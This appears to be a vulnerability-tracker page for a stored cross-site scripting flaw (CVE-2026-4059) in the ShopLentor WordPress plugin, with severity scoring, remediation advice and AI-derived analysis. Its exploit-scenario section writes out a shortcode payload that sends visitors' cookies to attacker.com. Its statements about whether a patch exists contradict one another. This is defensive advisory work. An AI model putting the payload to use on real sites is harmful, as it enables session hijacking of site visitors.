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Shoplentor All In One Woocommerce Growth Store Enhancement Plugin EUVDEUVD-2026-22217

| CVE-2026-4059 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-14 Wordfence
6.4
CVSS 3.1 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain contributor account access
  2. Delivery
    Insert malicious shortcode in page
  3. Exploit
    Publish page with payload
  4. Execution
    Visitor loads page
  5. Persist
    Payload executes in visitor browser
  6. Impact
    Steal session token or redirect user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates remote network access with low attack complexity and Contributor-level privileges required; the vulnerability crosses security boundaries (S:C) and impacts confidentiality and integrity with low severity. The PR:L (Contributor-level authentication) requirement reduces immediate risk compared to unauthenticated XSS, as attackers must already possess account access. However, many WordPress sites have multiple contributors, freelancers, or third-party integrations with contributor access, increasing the practical attack surface. The stored nature means the payload persists and affects all visitors, not just the attacker's session. Patch availability in version 3.3.6 (confirmed via changeset references) and the moderate CVSS score (6.4) suggest this is a real priority for sites with contributor-level access control concerns, but not an emergency compared to unauthenticated remote code execution vulnerabilities. No public exploit code or KEV confirmation is noted in the provided data, indicating this is not currently confirmed as actively exploited in the wild.

Exploit ScenarioDerived

An authenticated attacker with Contributor-level access to a WordPress site using ShopLentor creates or edits a page and inserts the shortcode [woolentor_quickview_button button_text="<img src=x onerror=alert('XSS')+document.location='https://attacker.com/steal?cookie='+document.cookie>"] into the page content. When any user (including administrators) visits the page, the malicious script executes in their browser, potentially stealing session cookies, redirecting to phishing pages, or modifying page content. No user interaction beyond page load is required (UI:N in CVSS).

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 14, 2026

Stored Cross-Site Scripting in ShopLentor WordPress plugin (versions up to 3.3.5) via the woolentor_quickview_button shortcode's button_text attribute allows authenticated attackers with Contributor-level access to inject arbitrary JavaScript that executes for all site visitors. The vulnerability stems from insufficient input sanitization and missing output escaping on user-supplied shortcode attributes. With a CVSS score of 6.4 and confirmed patch availability in version 3.3.6, this poses a moderate risk to WordPress installations using the plugin, particularly those with multiple contributor-level users.

RemediationAI

Upgrade the ShopLentor plugin to version 3.3.6 or later, which includes fixes for shortcode attribute sanitization and output escaping. The patch is available through the WordPress plugin repository (changeset 3493664 in the trunk branch confirms the fix). Site administrators should update via WordPress Admin > Plugins > Installed Plugins and click Update, or manually upload the patched version. If immediate patching is not possible, consider temporarily disabling the woolentor_quickview_button shortcode or restricting contributor-level access to only trusted users until the update can be applied. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fdf0b13e-154c-4007-bfc2-5346d906f7ca?source=cve for additional context and verification.

Affected VersionsENISA

ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin 0 ≤3.3.5

Affected Packages

euvd shoplentor_all_in_one_woocommerce_growth_store_enhancement_plugin no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The ShopLentor plugin (CPE: cpe:2.3:a:devitemsllc:shoplentor_-_all-in-one_woocommerce_growth_&_store_enhancement_plugin) implements the woolentor_quickview_button shortcode without proper input validation and output encoding. The button_text attribute, processed in the Frontend/Shortcode.php file (line 61), is rendered directly into the quickview-button.php template without applying WordPress escaping functions such as esc_attr() or esc_html(). This is a classic Stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where user-controlled data reaches the output context unfiltered. Shortcode attributes in WordPress are typically user-controllable by authenticated users with post/page editing capabilities, making this a natural attack surface when sanitization is omitted.

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Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The ShopLentor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the woolentor_quickview_button shortcode's button_text attribute in all versions up to, and including, 3.3.5. This is due to insufficient input sanitization and missing output escaping on user-supplied shortcode attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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